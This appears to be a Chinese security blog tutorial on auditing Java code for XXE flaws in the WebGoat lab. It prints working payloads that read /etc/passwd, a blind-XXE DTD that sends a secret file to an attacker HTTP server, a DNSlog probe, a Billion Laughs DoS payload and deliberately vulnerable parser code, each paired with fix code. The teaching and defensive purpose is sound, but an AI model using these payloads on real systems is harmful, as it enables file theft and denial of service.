当前位置:   article > 正文

JAVA代码审计之深入XXE漏洞挖掘与防御_xxe漏洞 处理方案 java

xxe漏洞 处理方案 java

前言

2019 年在 Web安全-XXE漏洞 一文中学习和介绍过 XXE 漏洞的基础知识,但是这对于实战中挖掘此类漏洞还是远远不够的。本文将通过 WebGoat 靶场深入学习 XXE 漏洞利用,并聚焦如何在 Java 源码审计过程中发现 XXE 漏洞,以及从研发人员视角该如何规避此类漏洞。

WebGoat

2021 年 7 月我在 JAVA代码审计之WebGoat靶场SQL注入 一文中,通过物理机中 IDEA 本地搭建 WebGoat 靶场学习并了 JAVA 系统 SQL 注入白盒审计的方法,本文作为该部分源码审计学习计划的续集,继续分析 XXE 漏洞。

1.1 Docker环境搭建

此处不再在物理机直接运行 WebGoat 靶场源码了(讲道理不安全啊hh…),而是采用在 Ubuntu 虚拟机中通过 pull 现成的 WebGoat Docker 镜像,来搭建靶场环境,至于源码审计则在物理机 IDEA 中通过打开 WebGoat 源码(本文选取 WebGoat-2023.8 版本) 来进行,这并不影响整项工作。即使是需要远程调试,前面文章也学习了方法:IDEA远程调试与JDWP调试端口RCE漏洞

1、获取 Docker 镜像很简单,可以先搜索远程仓库有哪些现成镜像:
在这里插入图片描述
2、此处选取 8.0 版本,直接拉取 docker pull webgoat/webgoat-8.0,如下:
在这里插入图片描述
3、创建并运行容器:docker run -p 8080:8080 -t webgoat/webgoat-8.0,如下:
在这里插入图片描述
在这里插入图片描述

3、物理机访问局域网 WebGoat 靶场:http://192.168.0.121:8080/WebGoat/login,成功访问,注册账户并登录即可:
在这里插入图片描述
此处本人注册 webgoat/123456 账户(在此斗胆备忘hh):
在这里插入图片描述

1.2 Leve1-XXE回显

为了突出代码审计的核心学习目标,XXE 的基础常识请参见: Web安全-XXE漏洞 ,本文不再赘述和讨论。

直接看 WebGoat 提供的 XXE 第一关的训练:
在这里插入图片描述
题目要求很明确:在这项任务中,你将在照片中添加一条评论,当提交表单时,尝试使用评论字段执行 XXE 注入列出文件系统的根目录。

1、先随便提交一条评论 test123,上 Burp 抓包观察,可发现提交的 Post 请求携带的是标准的 XML 格式数据,同时路由为 /WebGoat/xxe/simple
在这里插入图片描述

2、尝试修改 Post 请求体,进行 XXE 注入,提交如下 Payload:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
    <text>&test;</text>
</comment>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
然后返回 WebGoat 查看评论区,发现成功读取并回显了 /etc/passwd 文件,XXE 注入成功:
在这里插入图片描述
3、题目要求读取系统的根目录,而在 JAVA中,file://协议不仅可以读取文件,还可以列举目录:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///">]>
<comment>
    <text>&test;</text>
</comment>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述

1.3 代码审计与溯源

完成漏洞利用后,下面来分析下源码,追溯漏洞根因。

已知上述漏洞触发的路由为 /WebGoat/xxe/simple ,故在 WebGoat 源码中搜索xxe/simple路由进行 Controller 层定位(WebGoat 是为数不多的 JAVA 语言开发且基于SpringBoot 主流框架的靶场):
在这里插入图片描述

@Autowired private CommentsCache comments;

@PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) {
    String error = "";
    try {
      var comment = comments.parseXml(commentStr);
      comments.addComment(comment, false);
      if (checkSolution(comment)) {
        return success(this).build();
      }
    } catch (Exception e) {
      error = ExceptionUtils.getStackTrace(e);
    }
    return failed(this).output(error).build();
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

先解释下上述代码涉及到的注解的含义:

注解含义
@Autowired控制如何完成自动连接或加载
@AssignmentPath(“xxe/simple”)接收并处理发往xxe/simple的HTTP请求
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)配置 url 映射
@ResponseBody表示该方法的返回结果直接写入 HTTP 返回包的正文中
@RequestBody String commentStr表示将请求中的数据写入到 commentStr 这个 String 对象中

上述代码可以看到:

  1. 程序将 POST 请求中的 Body 请求体中的内容赋值给 commentStr 这个字符串对象;
  2. 然后将 commentStr 交给 comments 实例的 parseXml 方法来处理,接着赋值给 Comment 类的 comment 实例(说明经过 parseXml 方法处理后的类型为 comment);
  3. 最后程序通过comments.addComment(comment, false);来添加评论,并通过return success(this).build()回传特定的响应数据给 HTTP 请求。

此处可跟进代码 java\org\owasp\webgoat\lessons\xxe\Comment.java 看到 Comment 类实际上是定义了评论的几个相关成员变量:
在这里插入图片描述
然而这并不重要,接下来的核心是继续追溯 comments.parseXml(commentStr) 处,看看 parseXml 函数如何处理我们传入的 commentStr 字符串数据:
在这里插入图片描述
审计 XXE 漏洞时对这段代码要保持敏感,这里出现了 XML 解析的的典型接口 Unmarshaller.unmarshal,也是发现 XXE 的搜索特征之一。

这里 parseXml 方法执行的主要操作是:

  1. 获取一个 JAXBContext 的实例名为 jc;
  2. 通过 jc 创建一个 Unmarshaller 对象,并执行 unmarshal方法将 xml 格式字符串 xsr 反序列化为得到 Comment 类的 java 对象;
  3. 而在 Unmarshaller.unmarshal函数执行反序列过程中解析了 XML,也是这个过程导致了 XXE 注入。

1.4 Jaxb的反序列化

本章节补充介绍一下 JAXB 的知识。

JAXB 是用于 XML 绑定的 Java 体系结构(Java Architecture for XML Binding,简称 JAXB)是允许 Java 开发人员将 Java 类映射到 XML 表示形式的软件框架。 JAXB 支持将 Java 对象编组为 XML,然后将 XML 解组为 Java 对象。

JAXB 作为 JDK 的一部分,其提供两种主要特性:将一个 Java 对象序列化为 XML,以及反向操作(即将 XML 解析成 Java 对象)。简而言之,JAXB 能便捷地将 Java 对象与 XML 进行相互转换。

  1. JAXBContext 是整个 JAXB API 的入口,主要用来构建 JAXB 实例;
  2. Marshaller 接口,将 Java 对象序列化为 XML 数据。
  3. Unmarshaller.unmarshal 接口,将 XML 数据反序列化为 Java 对象。

当把 XML 格式的字符串传递给 Unmarshaller.unmarshal 接口转变成 Java 对象时,会解析一遍 XML,如果传入的值可控就会导致 XXE 注入攻击。

来看一个具体的漏洞实例:

package com.Tr0e.test.XXE;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXEVul {

    public void vul() throws JAXBException, XMLStreamException {
        String xml_payload = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE doc [ \n" +
                "<!ENTITY xxe SYSTEM \"file:///D:/tmp/test.txt\">\n" +
                "]><comment><text>&xxe;</text></comment>";
        JAXBContext jc = JAXBContext.newInstance(Comment.class);
        XMLInputFactory xif = XMLInputFactory.newInstance();
        Unmarshaller unmarshaller = jc.createUnmarshaller();
        Comment comment = (Comment) unmarshaller.unmarshal(xif.createXMLStreamReader(new StringReader(xml_payload)));
        System.out.println(comment.getText());
    }


    public static void main(String[] args) throws JAXBException, XMLStreamException {
        XXEVul test = new XXEVul();
        test.vul();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

其中 Comment 类如下:

package com.Tr0e.test.XXE;

import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;

import javax.xml.bind.annotation.XmlRootElement;

@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
    private String user;
    private String dateTime;
    private String text;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

上述代码中,unmarshal 反序列化接口将我传递的 xml 字符串 xml_payload 解析为 Comment 类对象,由于没做任何过滤导致了 XXE 漏洞,导致传递 xml_payload 可成功读取本地D:/tmp/test.txt文件内容:
在这里插入图片描述

如何修复上述漏洞?

XXE 注入漏洞的根因是解析 XML 时对外部实体不加任何限制,那么修复手段自然是禁用外部实体和禁用 DTD。

//禁用外部实体
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
//禁用DTD
xif.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

1.5 Level2-格式校验

来看看 WebGoat 提供的 XXE 靶场第二关:
在这里插入图片描述
同样提交测试评论并抓包,发现这次路由为 xxe/content-type ,其 Post 请求体类型为 Content-Type: application/json 而非 XML 格式了:
在这里插入图片描述
我们同样根据路由 xxe/content-type 定位 Controller 层源码:
在这里插入图片描述
从源码可以看出,程序从我们提交的 Post 请求中提取请求头Content-type的值,并且当其等于"application/xml"时,走入存在 XXE 漏洞的分支之中。

故此关的解题思路很清晰了,修改请求头 Content-type
的值,并将 Post 请求体的数据修改为 xml 格式的 Payload 即可:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///">]>
<comment>
    <text>&test;</text>
</comment>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述

此任务给我们的启示是:黑盒测试过程中,即使发现 API 的 Post 的请求体默认格式是 Json 格式的,不能直接认为其一定不存在 XXE 注入漏洞,而是应该尝试修改 HTTP 的请求方法(将 Get 请求改为 Post 请求),修改 Content-Type 头部字段(将application/json改为application/xml)后进行进一步的漏洞探测。

此思路在 Web安全-XXE漏洞 一文中也有过介绍,同时提供了一道 CTF 练习题实例。

1.6 Level3-XXE盲注

接下来看下 WebGoat 提供的 XXE 注入的最后一个训练项目:
在这里插入图片描述
题目要求我们自行编写一个 DTD 文件,读取 WebGoat 服务器上的 secret.txt 文件到 WebWolf 服务器上(此处我们采用自己的 VPS 服务器或本地物理机搭建 http 服务来代替即可)。

同样先提交一个测试评论并抓包定位路由信息:
在这里插入图片描述
路由是 xxe/blind ,应该就是无回显的 XXE 盲注了。查询源码,发现程序逻辑如下:
在这里插入图片描述

在这里插入图片描述
审计发现,程序这回限制了只有在正确提交服务端的目标私密数据到评论区后才能通关。但是这里源码是有 Bug 的,由于它并没限制评论数据的回显,所以我们直接提交 Level1 的 PayLoad 实际上是能在评论区获取到服务端数据的:
在这里插入图片描述
在这里插入图片描述
所以此题“作弊”式的快捷解题法为:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">]>
<comment>
    <text>&test;</text>
</comment>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
但是此题的真实目是让给我们了解并训练 XXE 盲注的漏洞利用,所以还是不要“耍小聪明”了哈哈。

Web安全-XXE漏洞 一文中我已经给出 XXE 盲注的利用思路,此处来实战演练一下。

为了避免 Docker 服务中的文件路径与官方文档有差异,我们进入容器确认一下(/home/webgoat/.webgoat-8.1.0/XXE/secret.txt):
在这里插入图片描述
接着在攻击服务器(此处我用本地物理机192.168.51.76替代)创建远程恶意 evil.dtd 文件进行参数实体注入(参数实体通常用在 XXE 盲注上),如下:

<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">
<!ENTITY % evil "<!ENTITY &#37; xxe SYSTEM 'http://192.168.51.76:8080/%file;'>">
%evil;%xxe;
  • 1
  • 2
  • 3

其中http://192.168.51.76:8080指的是我物理机本地起的 Python HTTP 简易服务:
在这里插入图片描述

然后在 BurpSuite 发送恶意数据包携带如下外部实体注入的 Payload:

<?xml version='1.0'?>
<!DOCTYPE data SYSTEM "http://192.168.51.76:8080/evil.dtd">
<comment>
    <text>&data;</text>
</comment>
  • 1
  • 2
  • 3
  • 4
  • 5

从服务器报错信息中可以发现 XXE 盲注触发成功,成功窃取 Docker 服务器上的数据到我们的私人服务器:
在这里插入图片描述
我的攻击机(本地物理机)的 HTTP 服务已成功接收到 WebGoat 服务器的目标文件数据:
在这里插入图片描述
最后将获取到的数据提交到评论区,通关成功,散花完结:在这里插入图片描述
在这里插入图片描述
【补充】XXE盲注验证技巧

回顾原来写的博文: 浅析DNSlog在渗透测试中的实战技巧,验证一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://111.4s1b2n.dnslog.cn" > ]> 
<foo>&xxe;</foo>
  • 1
  • 2
  • 3
  • 4

执行效果如下:
在这里插入图片描述

挖掘与防御

本文的目标是学习 XXE 漏洞的白盒审计技巧和防御手段,上面的章节通过 WebGoat 靶场学习了 XXE 的白盒审计案例和漏洞利用技术,但是 XXE 的漏洞特征并非仅仅只有 Unmarshaller.unmarshal 接口,下文来总结学习下常见的 XXE 漏洞场景和修复方案。

下文将逐一给出 XML 常见的几种解析方法(即:XMLReader、SAXBuilder、SAXReader、SAXParserFactory 和 Digester)的漏洞示例和修复代码。

2.1 XMLReader

XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。

当 XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞。漏洞示例代码(假设 xml_payload 由外部 http 请求参数传入):

   public static String xmlReaderTest(){
        try {
            String xml_payload = "<?xml version='1.0'?>\n" +
                    "<!DOCTYPE data SYSTEM \"http://192.168.51.76:8080/evil.dtd\">\n" +
                    "<comment>\n" +
                    "    <text>&data;</text>\n" +
                    "</comment>";
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // parse xml
            xmlReader.parse(new InputSource(new StringReader(xml_payload)));
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

还是借助上面 “Level3-XXE 盲注” 章节中的漏洞利用代码 evil.dtd,略作修改,将待读取的目标服务器文件修改我物理机的本地测试文件(因为我将在本地 IDEA 运行上述缺陷代码):

<!ENTITY % file SYSTEM "file:///D:/tmp/test.txt">
<!ENTITY % evil "<!ENTITY &#37; data SYSTEM 'http://192.168.51.76:8080/%file;'>">
%evil;%data;
  • 1
  • 2
  • 3

其中 192.168.51.76 是我本地物理机的局域网 IP。接着在 IDEA 中创建上述漏洞代码,可以验证成功读取本地文件:
在这里插入图片描述
攻击机服务器(IP地址:192.168.51.76)成功接收到受害服务器的文件数据:
在这里插入图片描述
漏洞修复代码

    public static String xmlReaderTest(){
        try {
            String xml_payload = "<?xml version='1.0'?>\n" +
                    "<!DOCTYPE data SYSTEM \"http://192.168.51.76:8080/evil.dtd\">\n" +
                    "<comment>\n" +
                    "    <text>&data;</text>\n" +
                    "</comment>";
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            // fix code start
            xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
            xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            //fix code end
            // parse xml
            xmlReader.parse(new InputSource(new StringReader(xml_payload)));
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

有效性验证:
在这里插入图片描述

2.2 SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。

同样的,当 SAXBuilder 使用默认解析方法并且未对XML进行过滤时,其也会出现 XXE 漏洞。漏洞示例代码(漏洞触发同上文 XMLReader,后面不再进行演示了):

try {
    String body = WebUtils.getRequestBody(request);
    SAXBuilder builder = new SAXBuilder();
    // org.jdom2.Document document
    builder.build(new InputSource(new StringReader(body)));  // cause xxe
    return "SAXBuilder xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXBuilder builder = new SAXBuilder();
     // fix code start
	builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
	builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
	// org.jdom2.Document document
	builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

2.3 SAXReader

DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型就能使用。DOM4J 读/写 XML 文档主要依赖于 org.dom4j.io 包,它有 DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。

同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞。漏洞示例代码(漏洞触发同上文 XMLReader,不再进行演示):

try {
    String body = WebUtils.getRequestBody(request);
    SAXReader reader = new SAXReader();
    // org.dom4j.Document document
    reader.read(new InputSource(new StringReader(body))); //cause xxe
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXReader reader = new SAXReader();
    // fix code start
	reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
	reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
	// org.dom4j.Document document
	reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

2.4 SAXParserFactory

SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance()。

跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞。

try {
    String body = WebUtils.getRequestBody(request);
    SAXParserFactory spf = SAXParserFactory.newInstance();
    SAXParser parser = spf.newSAXParser();
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  //parse xml
    return "SAXParser xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	SAXParserFactory spf = SAXParserFactory.newInstance();
    // fix code start
	spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code start
	SAXParser parser = spf.newSAXParser();
	parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  //parse xml
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

2.5 Digester

Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons 库中的一个 jar 包:common-digester 包。

一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用。

try {
    String body = WebUtils.getRequestBody(request);
    Digester digester = new Digester();
    digester.parse(new StringReader(body));  // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	Digester digester = new Digester();
     // fix code start
	digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
	digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
	digester.parse(new StringReader(body));  //parse xml
	return "Digester xxe security code";
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

2.6 DocumentBuilderFactory

javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象,DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了一个 newInstance() 方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

try {
	String body = WebUtils.getRequestBody(request);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	Document document = db.parse(is);  // parse xml
	// 遍历xml节点name和value
	StringBuilder buf = new StringBuilder();
	NodeList rootNodeList = document.getChildNodes();
	for (int i = 0; i < rootNodeList.getLength(); i++) {
		Node rootNode = rootNodeList.item(i);
		NodeList child = rootNode.getChildNodes();
		for (int j = 0; j < child.getLength(); j++) {
			Node node = child.item(j);
			buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
		}
	}
	sr.close();
	return buf.toString();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

修复代码:

try {
	String body = WebUtils.getRequestBody(request);
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
	dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
	dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
	DocumentBuilder db = dbf.newDocumentBuilder();
	StringReader sr = new StringReader(body);
	InputSource is = new InputSource(sr);
	db.parse(is);  // parse xml
	sr.close();
} catch (Exception e) {
	logger.error(e.toString());
	return EXCEPT;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

2.7 XXE挖掘技巧小结

挖掘 XXE 漏洞的关键是:

  1. 判断目标代码是否涉及 XML 解析;
  2. 待解析的 xml 输入是否是外部可控;
  3. 是否禁用外部实体(DTD),若三个条件满足则存在漏洞。

在功能层面上, XML 解析一般在导入配置、数据传输接口等需对 xml 数据进行处理的场景;而在代码层面上,需要关注 xml 解析的几种实现接口,定位到关键代码后看是否有禁用外部实体的相关代码,从而判断是否存在 XXE。

XML 常见的解析方法有四种,即:DOM、DOM4J、JDOM 和 SAX,部分 XML 解析接口如下:

javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

相应的,在定位 XXE 漏洞的时候可以使用的搜索关键词有:

XMLReader
XMLReaderFactory
createXMLReader
SAXBuilder
SAXReader
SAXParserFactory
newSAXParser
SAXParser
Digester
DocumentBuilderFactory
newDocumentBuilder
Documentbuilder
SAXTransformerFactory
TransformerFactory
SchemaFactory
javax.xml.bind
Validator
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

2.8 XXE漏洞防御小结

使用 XML 库的 Java 应用程序易受到 XXE 的攻击,因为大多数 Java XML 解析器的默认设置是启用 DTD。

所以使用 XML 解析器时需要设置其属性,禁止使用外部实体,以 SAXReader 为例,安全的使用方式如下:

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
sax.setFeature("http://xml.org/sax/features/external-general-entities",false); // 防止外部实体POC
sax.setFeature("http://xml.org/sax/features/external-parameter-entities",false); // 防止参数实体POC
  • 1
  • 2
  • 3
  • 4
  • 5

【More】其它XML解析器的安全使用可参考:XML_External_Entity_Prevention_Cheat_Sheet.html

需要指出的是,若只禁用 DTD 未禁用 Doctype,无法借助 XXE 漏洞进行任意文件读取、SSRF 等攻击但仍可进行 DOS 攻击(Billion laughs attack):

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol"lol">
 <!ELEMENT lolz(#PCDATA)>
 <!ENTITY lol1"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

总结

本文通过 Docker 中搭建 WebGoat 靶场,并在本地审计 WebGoat 源码的方式,学习了 XXE 漏洞的白盒审计方式和漏洞利用技术(带回显的 XXE、盲注 XXE)。最后总结了 XXE 漏洞白盒审计过程中的关注点和示例代码,并给出防御方案建议。 结合白盒审计技术,在漏洞挖掘实战中,往往能发现黑盒测试所无法轻易检查出来的漏洞。

本文参考文章:

  1. WebGoat代码审计-05-XXE注入
  2. 代码审计| WebGoat源码审计之XXE注入
  3. 【卓文见识】Java代码审计汇总系列:XXE注入
  4. 完整的审计技巧和防御:WEB安全&JAVA代码审计:XXE外部实体注入
  5. OWASP 官方提供的 XML 解析器漏洞防御:XML External Entity Prevention Cheat Sheet

另外,补充几个关于 XXE 实战攻击案例文章:

  1. 用友NC系统XXE挖掘,读取系统文件
  2. 实战挖掘文件导入处的XXE漏洞
  3. 漏洞笔记(二)|利用Excel进行XXE攻击;
  4. SRC挖洞之SSRF与XXE漏洞的实战案例
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/589999
推荐阅读
相关标签
  

闽ICP备14008679号